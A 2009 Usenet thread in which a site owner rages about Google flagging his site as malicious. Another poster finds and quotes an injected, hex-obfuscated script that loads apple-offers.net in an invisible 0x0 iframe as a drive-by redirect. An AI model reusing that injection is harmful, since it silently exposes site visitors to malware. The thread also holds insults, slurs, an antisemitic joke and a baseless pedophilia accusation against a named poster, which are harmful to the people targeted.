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TOPIC: So How Much Do You Think I Should Sue Google For?
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== 1 of 25 ==
Date: Wed, Feb 4 2009 11:46 pm
From: Onideus Mad Hatter
On Wed, 4 Feb 2009 22:57:39 -0800 (PST), tars.tarkas136@gmail.com
wrote:
>On Feb 4, 8:56 pm, Onideus Mad Hatter <use...@backwater-
>productions.net> wrote:
>> On Thu, 05 Feb 2009 02:50:09 GMT, Adrienne Boswell <arb...@yahoo.com>
>> wrote:
>>
>>
>>
>> >Gazing into my crystal ball I observed Onideus Mad Hatter
>> ><use...@backwater-productions.net> writing in
>> >news:fc7jo45ch72uu2mi6hinna4u46u89do5vj@4ax.com:
>>
>> >> For falsely listing my site as being infected with malware? I've
>> >> already requested like TWO reviews and they *STILL* can't tell me what
>> >> part of the code is ~supposedly~ malware and since those two reviews
>> >> they've gone even further to have the site listed as "bad" under
>> >> several other malware tracking groups (whom I'm also thinking about
>> >> suing). So the question is...what do you think would be a reasonable
>> >> amount of money to sue them for, given that they're so blatantly
>> >> slandering my business?
>>
>> >I also looked at the site in Opera, and my antivirus detected a threat:
>> >Exploit MDAC ActiveX code execution type 165.
>>
>> >The IP address in question was 91.211.64.120 which resolves to somewhere
>> >in Russia. Seehttp://tinyurl.com/d3bbp5(Central Ops IP information).
>>
>> Oh really? And on which one of my sites and which *SPECIFIC* portion
>> of code is your antivirus getting this bullshit from? Free cl00,
>> Sunshine, they're not getting it from the site, they're getting it
>> from the retarded blacklist that Google setup on the site which is
>> based on UNFOUNDED SUSPICIONS...and so far the going theory is that
>> some other completely unrelated site hosted on the same shared server
>> is infected or was infected at some point...which apparently in
>> Google's insane world gives them the right to completely fuck over
>> every last business that's hosted on the same server...even though
>> there's *NO WAY POSSIBLE* for one compromised site to access any other
>> site on the server.
>>
>> Essentially what they're saying is that if Lunar Pages has one dumbass
>> client with a three letter password that can be brute forced in less
>> than five minutes that *EVERYONE* else on the server must also have
>> easily brute forced passwords and they *ALL* get listed as
>> "suspicious" based on complete bullshit they pulled right out of their
>> fat asses.
>>
>
>I did a wget on www.backwater-productions.net. I saw mostly
>straightforward code, but at the end there was this odd code block:
>
><script language='JavaScript' type='text/javascript'>
>document.write("<embed type='application/x-shockwave-flash'
>pluginspage='http://www.adobe.com/shockwave/download/index.cgi?
>P1_Prod_Version=ShockwaveFlash' src='main.swf?value=' width=760
>height=424>"); var str="google.com";var
>str2="6170706c652d6f66666572732e6e6574";var str3="if";str="";for (var
>i=0;i<str2.length;i=i+2){ str=str+"%"+str2.substr(i,2);}document.write
>("<"+str3+"rame width=0 height=0 src=http://"+str+"></"+str3+"rame>");
>
>the javascript takes the obfuscated string
>"6170706c652d6f66666572732e6e6574", and turns it into an http request
>that references 'apple-offers.net' in a 0x0 frame.
>
>this matches up with the info on this page:
>
>http://safebrowsing.clients.google.com/safebrowsing/diagnostic?client=Firefox&hl=en-US&site=http://www.backwater-productions.net/
>
>which mentions that the 'appple-offers.net' site is being used to
>forward users to the actual site that downloads the malicious code.
>Looking at apple-offers.net with wget, I see some extremely obfuscated
>code.
>
> So, yes, you have code on your site that is doing something odd. I
>don't see any good reason to make it hard to spot the URL for apple-
>offers.net or even the fact that its creating an invisible frame on
>your page.
I removed it, I believe that got thrown in there because I looked up
the embed tag for flash content off some random site at one point (by
looking at their source code) and simply copied and pasted, only
bothering to alter the file name and width/height. Whatever site I
got it from must have been hijacked.
If *THAT* is really all the better of an excuse they have for
blacklisting *ALL* of my sites I think I've still got a pretty good
case against them. For one the "malicious" code isn't actually doing
anything other than supplying a link to a site that won't even work
(as its already been black listed itself). The other question is why
doesn't Google include this information on their review of the site?
Had they done so, had they not simply posted bullshit with the excuse
of a vague "suspicion" I would have been able to remove that benign
code portion immediately after it was detected and none of my sites
would have been effectively shut down by Google.
In effect, Google not only cost me a shit load of money in that I had
to spend hours and hours and hours scouring through hundreds of HTML
files trying to find ~magic~ "suspicion" code, but they also cost me
the downtime (read shut down) of *ALL* my sites and even plain image
links even though there was only *ONE* instance of this benign site
redirect. The fact that they essentially attempted to keep the source
of the trouble hidden proves that they maliciously and deliberately
attempted to slander my sites (along with God only knows how many
other sites).
I suppose one might be willing to give Google the benefit of the doubt
and simply accept the fact that they're all a bunch of fuckin idiots
who didn't design their malware detection system in a way that
wouldn't deliberately damage businesses...but even then ignorance is
no excuse and they still need to pay for what they've cost me.
--
Onideus Mad Hatter
mhm ¹ x ¹
http://www.backwater-productions.net
http://www.backwater-productions.net/hatter-blog
Hatter Quotes
-------------
"When I listen to people I don't really listen to what it is they're
saying, so much as what they're saying it for."
"Don't ever fuck with someone who has more creativity than you do."
"You're only one of the best if you're striving to become one of the
best."
"I didn't make reality, Sunshine, I just verbally bitch slapped you
with it."
"I'm not a professional, I'm an artist."
"Usenet Filters - Learn to shut yourself the fuck up!"
"Drugs killed Jesus you know...oh wait, no, that was the Jews, my
bad."
"The more I learn the more I'm killing my idols."
"Is it wrong to incur and then use the hate ridden, vengeful stupidity
of complete strangers in random Usenet froups to further my art?"
"Freedom is only a concept, like race it's merely a social construct
that doesn't really exist outside of your ability to convince others
of its relevancy."
"Next time slow up a lil, then maybe you won't jump the gun and start
creamin yer panties before it's time to pop the champagne proper."
"Reality is directly proportionate to how creative you are."
"People are pretty fucking high on themselves if they think that
they're just born with a soul. *snicker*...yeah, like they're just
givin em out for free."
"How sad that you're such a poor judge of style that you can't even
properly gauge the artistic worth of your own efforts."
"Those who record history are those who control history."
"I am the living embodiment of hell itself in all its tormentive rage,
endless suffering, unfathomable pain and unending horror...but you
don't get sent to me...I come for you."
"Ideally in a fight I'd want a BGM-109A with a W80 250 kiloton
tactical thermonuclear fusion based war head."
"Tell me, would you describe yourself more as a process or a
function?"
"Apparently this group has got the market cornered on stupid.
Intelligence is down 137 points across the board and the forecast
indicates an increase in Webtv users."
"Is my .sig delimiter broken? Really? You're sure? Awww,
gee...that's too bad...for YOU!" `, )
== 2 of 25 ==
Date: Thurs, Feb 5 2009 1:50 am
From: Bill_The_Butcher
Citing Onideus Mad Hatter (on 05/02/2009 08:46):
>
> I suppose one might be willing to give Google the benefit of the doubt
> and simply accept the fact that they're all a bunch of fuckin idiots
> who didn't design their malware detection system in a way that
> wouldn't deliberately damage businesses...but even then ignorance is
> no excuse and they still need to pay for what they've cost me.
>
> --
>
Seems like you're gonna get loooots of money then! keep us posted it
will be funny - i'm already selling my google shares ;-)
~-~-~~- Phrase of the day -~~-~-~
108. A waist is a terrible thing to mind.
~-~-~~-~-~~-~-~
with Thunderbird + Tagzilla
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== 3 of 25 ==
Date: Thurs, Feb 5 2009 2:07 am
From: Travis Newbury
On Feb 4, 11:17 pm, prodigy <beatui...@hotmail.com> wrote:
> I fail to understand hatter why you act so high and mighty. I mean...
Prodigy,
You deal with hatter the same way you deal with a child that comes up
and starts telling you stories. You smile knowingly then pat him on
the butt and send him off to bed. Arguing or trying to reason with
him is a waste of time. Just call him a dope, and enjoy the hilarious
rantings that he spews back at you.
== 4 of 25 ==
Date: Thurs, Feb 5 2009 2:09 am
From: tars.tarkas136@gmail.com
On Feb 4, 11:46 pm, Onideus Mad Hatter <use...@backwater-
productions.net> wrote:
> On Wed, 4 Feb 2009 22:57:39 -0800 (PST), tars.tarkas...@gmail.com
> wrote:
>
>
>
> >On Feb 4, 8:56 pm, Onideus Mad Hatter <use...@backwater-
> >productions.net> wrote:
> >> On Thu, 05 Feb 2009 02:50:09 GMT, Adrienne Boswell <arb...@yahoo.com>
> >> wrote:
>
> >> >Gazing into my crystal ball I observed Onideus Mad Hatter
> >> ><use...@backwater-productions.net> writing in
> >> >news:fc7jo45ch72uu2mi6hinna4u46u89do5vj@4ax.com:
>
> >> >> For falsely listing my site as being infected with malware? I've
> >> >> already requested like TWO reviews and they *STILL* can't tell me what
> >> >> part of the code is ~supposedly~ malware and since those two reviews
> >> >> they've gone even further to have the site listed as "bad" under
> >> >> several other malware tracking groups (whom I'm also thinking about
> >> >> suing). So the question is...what do you think would be a reasonable
> >> >> amount of money to sue them for, given that they're so blatantly
> >> >> slandering my business?
>
> >> >I also looked at the site in Opera, and my antivirus detected a threat:
> >> >Exploit MDAC ActiveX code execution type 165.
>
> >> >The IP address in question was 91.211.64.120 which resolves to somewhere
> >> >in Russia. Seehttp://tinyurl.com/d3bbp5(CentralOps IP information).
>
> >> Oh really? And on which one of my sites and which *SPECIFIC* portion
> >> of code is your antivirus getting this bullshit from? Free cl00,
> >> Sunshine, they're not getting it from the site, they're getting it
> >> from the retarded blacklist that Google setup on the site which is
> >> based on UNFOUNDED SUSPICIONS...and so far the going theory is that
> >> some other completely unrelated site hosted on the same shared server
> >> is infected or was infected at some point...which apparently in
> >> Google's insane world gives them the right to completely fuck over
> >> every last business that's hosted on the same server...even though
> >> there's *NO WAY POSSIBLE* for one compromised site to access any other
> >> site on the server.
>
> >> Essentially what they're saying is that if Lunar Pages has one dumbass
> >> client with a three letter password that can be brute forced in less
> >> than five minutes that *EVERYONE* else on the server must also have
> >> easily brute forced passwords and they *ALL* get listed as
> >> "suspicious" based on complete bullshit they pulled right out of their
> >> fat asses.
>
> >I did a wget onwww.backwater-productions.net. I saw mostly
> >straightforward code, but at the end there was this odd code block:
>
> ><script language='JavaScript' type='text/javascript'>
> >document.write("<embed type='application/x-shockwave-flash'
> >pluginspage='http://www.adobe.com/shockwave/download/index.cgi?
> >P1_Prod_Version=ShockwaveFlash' src='main.swf?value=' width=760
> >height=424>"); var str="google.com";var
> >str2="6170706c652d6f66666572732e6e6574";var str3="if";str="";for (var
> >i=0;i<str2.length;i=i+2){ str=str+"%"+str2.substr(i,2);}document.write
> >("<"+str3+"rame width=0 height=0 src=http://"+str+"></"+str3+"rame>");
>
> >the javascript takes the obfuscated string
> >"6170706c652d6f66666572732e6e6574", and turns it into an http request
> >that references 'apple-offers.net' in a 0x0 frame.
>
> >this matches up with the info on this page:
>
> >http://safebrowsing.clients.google.com/safebrowsing/diagnostic?client...
>
> >which mentions that the 'appple-offers.net' site is being used to
> >forward users to the actual site that downloads the malicious code.
> >Looking at apple-offers.net with wget, I see some extremely obfuscated
> >code.
>
> > So, yes, you have code on your site that is doing something odd. I
> >don't see any good reason to make it hard to spot the URL for apple-
> >offers.net or even the fact that its creating an invisible frame on
> >your page.
>
> I removed it, I believe that got thrown in there because I looked up
> the embed tag for flash content off some random site at one point (by
> looking at their source code) and simply copied and pasted, only
> bothering to alter the file name and width/height. Whatever site I
> got it from must have been hijacked.
>
> If *THAT* is really all the better of an excuse they have for
> blacklisting *ALL* of my sites I think I've still got a pretty good
> case against them. For one the "malicious" code isn't actually doing
> anything other than supplying a link to a site that won't even work
> (as its already been black listed itself).
The apple-offer.net site is shown to be malicious on a google search,
but it was embedded on your page, so it ran its own code, which sends
people to an IP address which is in Russia. That site installs
malicious code via a drive-by. So, anyone who visited your site while
that code was installed could have been infected if they were using a
browser/OS that was vulnerable- an earlier poster had a browser with a
good enough filter to alert her but not get infected, but there are a
lot of people who don't have particularly hardened systems.
== 5 of 25 ==
Date: Thurs, Feb 5 2009 2:19 am
From: Travis Newbury
On Feb 5, 2:46 am, Onideus Mad Hatter <use...@backwater-
productions.net> wrote:
> >I did a wget onwww.backwater-productions.net. I saw mostly
> >straightforward code, but at the end there was this odd code block:
> I removed it, I believe that got thrown in there because I looked up
> the embed tag for flash...
So there WAS suspicious code.
== 6 of 25 ==
Date: Thurs, Feb 5 2009 2:26 am
From: Travis Newbury
On Feb 5, 5:09 am, tars.tarkas...@gmail.com wrote:
> The apple-offer.net site is shown to be malicious on a google search,
> but it was embedded on your page, so it ran its own code, which sends
> people to an IP address which is in Russia. That site installs
> malicious code via a drive-by. So, anyone who visited your site while
> that code was installed could have been infected
A smart person would look through the code he is stealing from other
sites, and claiming as his own, before using it and infecting the
millions of visitors to his sites... (snicker snicker...)
So I guess I will be starting a class action suit against hatter and
bedwetter productions for trying to infect us.
== 7 of 25 ==
Date: Thurs, Feb 5 2009 3:28 am
From: Harlan Messinger
Travis Newbury wrote:
> On Feb 4, 11:17 pm, prodigy <beatui...@hotmail.com> wrote:
>> I fail to understand hatter why you act so high and mighty. I mean...
>
> Prodigy,
>
> You deal with hatter the same way you deal with a child that comes up
> and starts telling you stories. You smile knowingly then pat him on
> the butt and send him off to bed. Arguing or trying to reason with
> him is a waste of time. Just call him a dope, and enjoy the hilarious
> rantings that he spews back at you.
Really, that's how you deal with children?
== 8 of 25 ==
Date: Thurs, Feb 5 2009 4:42 am
From: whoisthatmaskedman@hotmail.com
On Feb 4, 4:17 pm, Onideus Mad Hatter <use...@backwater-
productions.net> wrote:
> On Wed, 4 Feb 2009 12:30:41 -0800 (PST),
>
> whoisthatmasked...@hotmail.com wrote:
> >On Feb 4, 8:56 am, Onideus Mad Hatter <use...@backwater-
> >productions.net> wrote:
> >> For falsely listing my site as being infected with malware? I've
> >> already requested like TWO reviews and they *STILL* can't tell me what
> >> part of the code is ~supposedly~ malware and since those two reviews
> >> they've gone even further to have the site listed as "bad" under
> >> several other malware tracking groups (whom I'm also thinking about
> >> suing). So the question is...what do you think would be a reasonable
> >> amount of money to sue them for, given that they're so blatantly
> >> slandering my business?
>
> >Sounds like a karma issue, Sophomore.
>
> Is karma how you explain the fact that you're such an incredible
> failure in life? Maybe you should stop blaming your failures on karma
> and strive to improve yourself, Fuckwit.
>
> And given all the wondrous, charitable, nice, loving and open minded
> efforts and projects I've put forth for others (often complete
> strangers), yeah, I'm sure my karma is quite well into the positive
> end of things, especially given all the hateful, nasty, invective,
> slanderous, bile that Hatter Addicts liak yourself constantly spew
> forth about me.
Matthew Moulton playing the victim card.
Too funny.
Drew
== 9 of 25 ==
Date: Thurs, Feb 5 2009 4:45 am
From: whoisthatmaskedman@hotmail.com
On Feb 5, 12:26 am, Onideus Mad Hatter <use...@backwater-
productions.net> wrote:
> Hear that everybody? If you work at Wal*Mart that means you
> automatically don't know ~anything~ about computers, or coding, (or
> graphic design if you ask that retard Drew).
I never said that working at WalMart means you know nothing about
graphic design. The fact that you know nothing about graphic design is
the determining factor.
Drew
== 10 of 25 ==
Date: Thurs, Feb 5 2009 5:55 am
From: Onideus Mad Hatter
On Thu, 5 Feb 2009 04:45:43 -0800 (PST),
whoisthatmaskedman@hotmail.com wrote:
>On Feb 5, 12:26 am, Onideus Mad Hatter <use...@backwater-
>productions.net> wrote:
>
>> Hear that everybody? If you work at Wal*Mart that means you
>> automatically don't know ~anything~ about computers, or coding, (or
>> graphic design if you ask that retard Drew).
>
>I never said that working at WalMart means you know nothing about
>graphic design. The fact that you know nothing about graphic design is
>the determining factor.
No you specifically made the claim that anyone working at Wal*Mart
doesn't know anything at all about graphic design, Drew. You
frequently and repeatedly used that claim as a means of trying to
attack me and my work. It's cute to see you trying to backpedal your
way out of it now though. For reference, when Drew was challenged to
a graphic design square off, in which we both had to make an image on
the theme of "word art", this was all the better Drew was able to come
up with:
http://www.backwater-productions.net/_adg/Word_To_Drew%27s_Mom.png
And this was mine:
http://www.backwater-productions.net/_adg/I_Fuck_Drew%27s_Mom_-_01.png
...and Drew believes he has a "professional" level of graphic design
ability and that I ~nothing~ at all. *snicker*
--
Onideus Mad Hatter
mhm ¹ x ¹
http://www.backwater-productions.net
http://www.backwater-productions.net/hatter-blog
Hatter Quotes
-------------
"When I listen to people I don't really listen to what it is they're
saying, so much as what they're saying it for."
"Don't ever fuck with someone who has more creativity than you do."
"You're only one of the best if you're striving to become one of the
best."
"I didn't make reality, Sunshine, I just verbally bitch slapped you
with it."
"I'm not a professional, I'm an artist."
"Usenet Filters - Learn to shut yourself the fuck up!"
"Drugs killed Jesus you know...oh wait, no, that was the Jews, my
bad."
"The more I learn the more I'm killing my idols."
"Is it wrong to incur and then use the hate ridden, vengeful stupidity
of complete strangers in random Usenet froups to further my art?"
"Freedom is only a concept, like race it's merely a social construct
that doesn't really exist outside of your ability to convince others
of its relevancy."
"Next time slow up a lil, then maybe you won't jump the gun and start
creamin yer panties before it's time to pop the champagne proper."
"Reality is directly proportionate to how creative you are."
"People are pretty fucking high on themselves if they think that
they're just born with a soul. *snicker*...yeah, like they're just
givin em out for free."
"How sad that you're such a poor judge of style that you can't even
properly gauge the artistic worth of your own efforts."
"Those who record history are those who control history."
"I am the living embodiment of hell itself in all its tormentive rage,
endless suffering, unfathomable pain and unending horror...but you
don't get sent to me...I come for you."
"Ideally in a fight I'd want a BGM-109A with a W80 250 kiloton
tactical thermonuclear fusion based war head."
"Tell me, would you describe yourself more as a process or a
function?"
"Apparently this group has got the market cornered on stupid.
Intelligence is down 137 points across the board and the forecast
indicates an increase in Webtv users."
"Is my .sig delimiter broken? Really? You're sure? Awww,
gee...that's too bad...for YOU!" `, )
== 11 of 25 ==
Date: Thurs, Feb 5 2009 6:03 am
From: Onideus Mad Hatter
On Thu, 05 Feb 2009 06:28:52 -0500, Harlan Messinger
<hmessinger.removethis@comcast.net> wrote:
>Travis Newbury wrote:
>> On Feb 4, 11:17 pm, prodigy <beatui...@hotmail.com> wrote:
>>> I fail to understand hatter why you act so high and mighty. I mean...
>>
>> Prodigy,
>>
>> You deal with hatter the same way you deal with a child that comes up
>> and starts telling you stories. You smile knowingly then pat him on
>> the butt and send him off to bed. Arguing or trying to reason with
>> him is a waste of time. Just call him a dope, and enjoy the hilarious
>> rantings that he spews back at you.
>
>Really, that's how you deal with children?
Well, he *IS* a pedophile you know. Hence all the butt touching and
all. He's also very much a child himself (mentally), hence the reason
he suggests name calling as a plausible way of dealing with those of
his own limited experience and intellegence.
Travis is also very much what's known as a "Hatter Addict". Basically
at some point or another Travis said something completely inane and
stupid and I verbally ripped him apart for it, just for shits and
giggles, but because he's *SO* incredibly immature he actually took it
*REALLY* serious like and as such wound up falling into a vicious
cycle where he continually tries to "get back" at me for humiliating
him and verbally ripping him apart (even though it was never actually
meant as an attack in the first place). And of course I as *I* don't
take *ANYTHING* online seriously all his wanton efforts to try and
"get back" at me fall up short, continually building his anger and
hatred, completely unable to relieve his frustrations as a result.
Eventually it starts eating away at their very soul, until their
entire life becomes nothing more than an ever failing, never ending
attempt to try and "get back" at me. And sadly, I haven't yet found
any way to "unmake" a Hatter Addict...it's very much a permanent
social disorder.
--
Onideus Mad Hatter
mhm ¹ x ¹
http://www.backwater-productions.net
http://www.backwater-productions.net/hatter-blog
Hatter Quotes
-------------
"When I listen to people I don't really listen to what it is they're
saying, so much as what they're saying it for."
"Don't ever fuck with someone who has more creativity than you do."
"You're only one of the best if you're striving to become one of the
best."
"I didn't make reality, Sunshine, I just verbally bitch slapped you
with it."
"I'm not a professional, I'm an artist."
"Usenet Filters - Learn to shut yourself the fuck up!"
"Drugs killed Jesus you know...oh wait, no, that was the Jews, my
bad."
"The more I learn the more I'm killing my idols."
"Is it wrong to incur and then use the hate ridden, vengeful stupidity
of complete strangers in random Usenet froups to further my art?"
"Freedom is only a concept, like race it's merely a social construct
that doesn't really exist outside of your ability to convince others
of its relevancy."
"Next time slow up a lil, then maybe you won't jump the gun and start
creamin yer panties before it's time to pop the champagne proper."
"Reality is directly proportionate to how creative you are."
"People are pretty fucking high on themselves if they think that
they're just born with a soul. *snicker*...yeah, like they're just
givin em out for free."
"How sad that you're such a poor judge of style that you can't even
properly gauge the artistic worth of your own efforts."
"Those who record history are those who control history."
"I am the living embodiment of hell itself in all its tormentive rage,
endless suffering, unfathomable pain and unending horror...but you
don't get sent to me...I come for you."
"Ideally in a fight I'd want a BGM-109A with a W80 250 kiloton
tactical thermonuclear fusion based war head."
"Tell me, would you describe yourself more as a process or a
function?"
"Apparently this group has got the market cornered on stupid.
Intelligence is down 137 points across the board and the forecast
indicates an increase in Webtv users."
"Is my .sig delimiter broken? Really? You're sure? Awww,
gee...that's too bad...for YOU!" `, )
== 12 of 25 ==
Date: Thurs, Feb 5 2009 6:00 am
From: Hans van Eynsbergen
On Wed, 04 Feb 2009 15:24:17 -0800, Onideus Mad Hatter who thought that
every major problem could be solved just with potatoes, wrote:
> Check this out:
>: http://www.google.com/support/forum/p/Webmasters/thread?tid=588957a7840455e8&hl=en&fid=588957a7840455e80004621feffec9b4
>
> I guess a lot of others are having their businesses destroyed by
> Google as well. As such I'm now looking into starting a class action
> law suit against Google. It seems litigation really is the only
> option, especially after hearing others stories and how they've been
> fighting against the bullshit for even longer than I have! Apparently
> what usually happens is that after a site review you'll get cleared of
> the slanderous lies...but only for a day or two and then they just go
> back and relist your site as being infected with malware...or in my
> case:
>
> "Site is listed as suspicious - visiting this web site may harm your
> computer."
>
> Apparently Google only needs unfounded suspicion to completely ruin
> your business.
>
> --
HTH
--
Hans
"Forty-two!"
"Is that all you've got to show for seven and a half million years of
work?"
"I checked it very thoroughly", said the computer...
== 13 of 25 ==
Date: Thurs, Feb 5 2009 6:04 am
From: Onideus Mad Hatter
On Thu, 05 Feb 2009 10:50:05 +0100, Bill_The_Butcher
<the.real.bill.the.butcher@nospam.gmail.com> wrote:
>
>
>Citing Onideus Mad Hatter (on 05/02/2009 08:46):
>>
>> I suppose one might be willing to give Google the benefit of the doubt
>> and simply accept the fact that they're all a bunch of fuckin idiots
>> who didn't design their malware detection system in a way that
>> wouldn't deliberately damage businesses...but even then ignorance is
>> no excuse and they still need to pay for what they've cost me.
>>
>> --
>>
>
>
>Seems like you're gonna get loooots of money then! keep us posted it
>will be funny - i'm already selling my google shares ;-)
>~-~-~~- Phrase of the day -~~-~-~
> 108. A waist is a terrible thing to mind.
>~-~-~~-~-~~-~-~
>with Thunderbird + Tagzilla
>~-~-~~-~-~~-~-~
Oh I'm not going to sue them for that much, only enough that it won't
be worth their time to actually try and fight it out in a court room.
--
Onideus Mad Hatter
mhm ¹ x ¹
http://www.backwater-productions.net
http://www.backwater-productions.net/hatter-blog
Hatter Quotes
-------------
"When I listen to people I don't really listen to what it is they're
saying, so much as what they're saying it for."
"Don't ever fuck with someone who has more creativity than you do."
"You're only one of the best if you're striving to become one of the
best."
"I didn't make reality, Sunshine, I just verbally bitch slapped you
with it."
"I'm not a professional, I'm an artist."
"Usenet Filters - Learn to shut yourself the fuck up!"
"Drugs killed Jesus you know...oh wait, no, that was the Jews, my
bad."
"The more I learn the more I'm killing my idols."
"Is it wrong to incur and then use the hate ridden, vengeful stupidity
of complete strangers in random Usenet froups to further my art?"
"Freedom is only a concept, like race it's merely a social construct
that doesn't really exist outside of your ability to convince others
of its relevancy."
"Next time slow up a lil, then maybe you won't jump the gun and start
creamin yer panties before it's time to pop the champagne proper."
"Reality is directly proportionate to how creative you are."
"People are pretty fucking high on themselves if they think that
they're just born with a soul. *snicker*...yeah, like they're just
givin em out for free."
"How sad that you're such a poor judge of style that you can't even
properly gauge the artistic worth of your own efforts."
"Those who record history are those who control history."
"I am the living embodiment of hell itself in all its tormentive rage,
endless suffering, unfathomable pain and unending horror...but you
don't get sent to me...I come for you."
"Ideally in a fight I'd want a BGM-109A with a W80 250 kiloton
tactical thermonuclear fusion based war head."
"Tell me, would you describe yourself more as a process or a
function?"
"Apparently this group has got the market cornered on stupid.
Intelligence is down 137 points across the board and the forecast
indicates an increase in Webtv users."
"Is my .sig delimiter broken? Really? You're sure? Awww,
gee...that's too bad...for YOU!" `, )
== 14 of 25 ==
Date: Thurs, Feb 5 2009 6:10 am
From: whoisthatmaskedman@hotmail.com
On Feb 5, 8:55 am, Onideus Mad Hatter <use...@backwater-
productions.net> wrote:
> On Thu, 5 Feb 2009 04:45:43 -0800 (PST),
>
> whoisthatmasked...@hotmail.com wrote:
> >On Feb 5, 12:26 am, Onideus Mad Hatter <use...@backwater-
> >productions.net> wrote:
>
> >> Hear that everybody? If you work at Wal*Mart that means you
> >> automatically don't know ~anything~ about computers, or coding, (or
> >> graphic design if you ask that retard Drew).
>
> >I never said that working at WalMart means you know nothing about
> >graphic design. The fact that you know nothing about graphic design is
> >the determining factor.
>
> No you specifically made the claim that anyone working at Wal*Mart
> doesn't know anything at all about graphic design, Drew. You
> frequently and repeatedly used that claim as a means of trying to
> attack me and my work. It's cute to see you trying to backpedal your
> way out of it now though. For reference, when Drew was challenged to
> a graphic design square off, in which we both had to make an image on
> the theme of "word art", this was all the better Drew was able to come
> up with:http://www.backwater-productions.net/_adg/Word_To_Drew%27s_Mom.png
>
> And this was mine:http://www.backwater-productions.net/_adg/I_Fuck_Drew%27s_Mom_-_01.png
>
> ...and Drew believes he has a "professional" level of graphic design
> ability and that I ~nothing~ at all. *snicker*
Sorry, this is all I can see: http://pattersondesign.com/misc/blackwater.html
Nice design, though.
Drew
== 15 of 25 ==
Date: Thurs, Feb 5 2009 6:18 am
From: Onideus Mad Hatter
On Thu, 5 Feb 2009 02:09:46 -0800 (PST), tars.tarkas136@gmail.com
wrote:
>> >I did a wget onwww.backwater-productions.net. I saw mostly
>> >straightforward code, but at the end there was this odd code block:
>>
>> ><script language='JavaScript' type='text/javascript'>
>> >document.write("<embed type='application/x-shockwave-flash'
>> >pluginspage='http://www.adobe.com/shockwave/download/index.cgi?
>> >P1_Prod_Version=ShockwaveFlash' src='main.swf?value=' width=760
>> >height=424>"); var str="google.com";var
>> >str2="6170706c652d6f66666572732e6e6574";var str3="if";str="";for (var
>> >i=0;i<str2.length;i=i+2){ str=str+"%"+str2.substr(i,2);}document.write
>> >("<"+str3+"rame width=0 height=0 src=http://"+str+"></"+str3+"rame>");
>>
>> >the javascript takes the obfuscated string
>> >"6170706c652d6f66666572732e6e6574", and turns it into an http request
>> >that references 'apple-offers.net' in a 0x0 frame.
>>
>> >this matches up with the info on this page:
>>
>> >http://safebrowsing.clients.google.com/safebrowsing/diagnostic?client...
>>
>> >which mentions that the 'appple-offers.net' site is being used to
>> >forward users to the actual site that downloads the malicious code.
>> >Looking at apple-offers.net with wget, I see some extremely obfuscated
>> >code.
>>
>> > So, yes, you have code on your site that is doing something odd. I
>> >don't see any good reason to make it hard to spot the URL for apple-
>> >offers.net or even the fact that its creating an invisible frame on
>> >your page.
>> I removed it, I believe that got thrown in there because I looked up
>> the embed tag for flash content off some random site at one point (by
>> looking at their source code) and simply copied and pasted, only
>> bothering to alter the file name and width/height. Whatever site I
>> got it from must have been hijacked.
>>
>> If *THAT* is really all the better of an excuse they have for
>> blacklisting *ALL* of my sites I think I've still got a pretty good
>> case against them. For one the "malicious" code isn't actually doing
>> anything other than supplying a link to a site that won't even work
>> (as its already been black listed itself).
>The apple-offer.net site is shown to be malicious on a google search,
>but it was embedded on your page, so it ran its own code, which sends
>people to an IP address which is in Russia. That site installs
>malicious code via a drive-by. So, anyone who visited your site while
>that code was installed could have been infected if they were using a
>browser/OS that was vulnerable- an earlier poster had a browser with a
>good enough filter to alert her but not get infected, but there are a
>lot of people who don't have particularly hardened systems.
Highly unlikely, the number of people using extremely out of date
browsers that are readily vulnerable to such attacks are almost nil at
this point...and those that haven't, well they're basically just
targets waiting to happen...or likely they're already infected and/or
deal with constant malware infections. Simply put, at this point, you
really can't surf the Internet without some kind of "NoScript" style
browser plugin. And if you try, I guarantee you'll be infected with
all sorts of malware in under a week tops.
And again, as Google wasn't forth coming about what was actually wrong
with the code, instead simply listing the reason as "suspicious", they
are the ones responsible for anyone getting infected through my site.
Had they accurately and precisely listed the specific site and the
specific code that was running the redirect, I would have been able to
remove it within minutes of their first tracking it. Instead their
gross ambiguity and vague obscurity of a reason for the site being
blacklisted effectively prevented me from even knowing that there was
anything even wrong with the site. In fact, most people, myself
included, when first reading their inane shit smear of an explanation
believed that the problem was resulting from some other site on my
shared hosting account and that because of that my sites were somehow
being falsely blacklisted.
--
Onideus Mad Hatter
mhm ¹ x ¹
http://www.backwater-productions.net
http://www.backwater-productions.net/hatter-blog
Hatter Quotes
-------------
"When I listen to people I don't really listen to what it is they're
saying, so much as what they're saying it for."
"Don't ever fuck with someone who has more creativity than you do."
"You're only one of the best if you're striving to become one of the
best."
"I didn't make reality, Sunshine, I just verbally bitch slapped you
with it."
"I'm not a professional, I'm an artist."
"Usenet Filters - Learn to shut yourself the fuck up!"
"Drugs killed Jesus you know...oh wait, no, that was the Jews, my
bad."
"The more I learn the more I'm killing my idols."
"Is it wrong to incur and then use the hate ridden, vengeful stupidity
of complete strangers in random Usenet froups to further my art?"
"Freedom is only a concept, like race it's merely a social construct
that doesn't really exist outside of your ability to convince others
of its relevancy."
"Next time slow up a lil, then maybe you won't jump the gun and start
creamin yer panties before it's time to pop the champagne proper."
"Reality is directly proportionate to how creative you are."
"People are pretty fucking high on themselves if they think that
they're just born with a soul. *snicker*...yeah, like they're just
givin em out for free."
"How sad that you're such a poor judge of style that you can't even
properly gauge the artistic worth of your own efforts."
"Those who record history are those who control history."
"I am the living embodiment of hell itself in all its tormentive rage,
endless suffering, unfathomable pain and unending horror...but you
don't get sent to me...I come for you."
"Ideally in a fight I'd want a BGM-109A with a W80 250 kiloton
tactical thermonuclear fusion based war head."
"Tell me, would you describe yourself more as a process or a
function?"
"Apparently this group has got the market cornered on stupid.
Intelligence is down 137 points across the board and the forecast
indicates an increase in Webtv users."
"Is my .sig delimiter broken? Really? You're sure? Awww,
gee...that's too bad...for YOU!" `, )
== 16 of 25 ==
Date: Thurs, Feb 5 2009 6:23 am
From: Neredbojias
On 04 Feb 2009, Onideus Mad Hatter <usenet@backwater-productions.net>
wrote:
> On Thu, 5 Feb 2009 05:37:35 +0000 (UTC), Neredbojias
> <neredbojias@gmail.com> wrote:
>
>>On 04 Feb 2009, Onideus Mad Hatter <usenet@backwater-productions.net>
>>wrote:
>>
>>> Oh really?
>>
>>Just a side-note here. Your x-face sucks. You should have something
>>like a head outline with a little hat on it, not a childish
>>scratching that appears to be an off-centered ghost at best.
>
> Most people actually liak the Hatter smiley: `, )
>
> The general consensus at the time was that it was better than nyah:
> http://www.backwater-productions.net/_images/_Usenet/Graphic_Design_-_
> Hatter_X-Face_1.png
